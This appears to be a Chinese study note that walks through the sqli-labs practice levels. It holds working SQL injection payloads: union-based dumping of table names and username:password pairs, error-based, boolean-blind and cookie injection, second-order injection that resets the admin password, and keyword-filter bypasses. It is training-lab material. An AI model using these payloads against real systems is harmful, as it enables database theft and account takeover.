sql注入流程
- 注入点测试 —— 单引号,双引号,括号等
- 分析sql语句构造 —— 根据报错(如报错语句为’14’’ LIMIT 0,1 则推测原sql语句为:select table_name username,password where id = ‘id’ limit 0,1)
- 查询字段数 —— order by
- 判断回显位(有回显) —— union select
- 查询数据库基本信息
- 爆数据库名 information_schema.tables
- 爆数据库表名 information_schema.columns
- 爆字段名 select column from table。
部分函数解析
group_concat()
将group by产生的同一个分组中的值连接起来,返回一个字符串结果
通用通关代码
select table_name username,password where id = ‘id’ limit 0,1
select table_name username,password where id = ‘1’ order by 3 --+’ limit 0,1
select table_name username,password where id = ‘0’ union select 1,2,3 --+’ limit 0,1
select table_name username,password where id = ‘0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+’ limit 0,1
select table_name username,password where id = ‘0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’–+’ limit 0,1
select table_name username,password where id = ‘0’ union select 1,group_concat(username,0x3a,password),3 from users–+’ limit 0,1
笔记部分
加粗样式less1-4
可用通关代码直接用
区别为闭合处,分别注意用单双引号配合括号。
less5
页面正常无回显,但是orderby可以测出有三个字段。
Less11 & Less12
根据提示11位单引号,12为双引号,思路为构造post注入。
Less13 & 14
利用报错注入,
13 : ‘and(select extractvalue(1,concat(’~’,(select database()))))
14 : "and(select extractvalue(1,concat(’~’,(select database()))))
Less 15 & 16
布尔注入
admin’ and (select ascii(substr(database(),1,1)) =115)#
Less-21
cookie注入,字段为uname,后台会对cookie的值进行base64解密,
注入语句为:
‘) union select 1,2,3#
经base64加密后
MTIzJykgdW5pb24gc2VsZWN0IDEsMiwzIyA=
如图 有回显
改为’) union select database(),2,3#
Less-22
') 改为 "
"union select database(),2,3#
less-23——过滤注释的GET型注入
注入语句:
id=-1’ union select 1,2,3 ='1
less-24——二次注入
已知账户名admin,不知道密码。
注册账号admin’-- -
修改admin’-- -密码,为123123
此时触发sql注入,将admin’-- -识别为 admin
结果admin密码被修改为123123
less-25——过滤or和and的单引号注入
?id=0’ union select 1,2,3–+
less-26——基于’过滤注释和空格的注入
过滤注释的方法,and ‘1’='1
id=0’aandnd(updatexml(1,database(),1))anandd’1’='1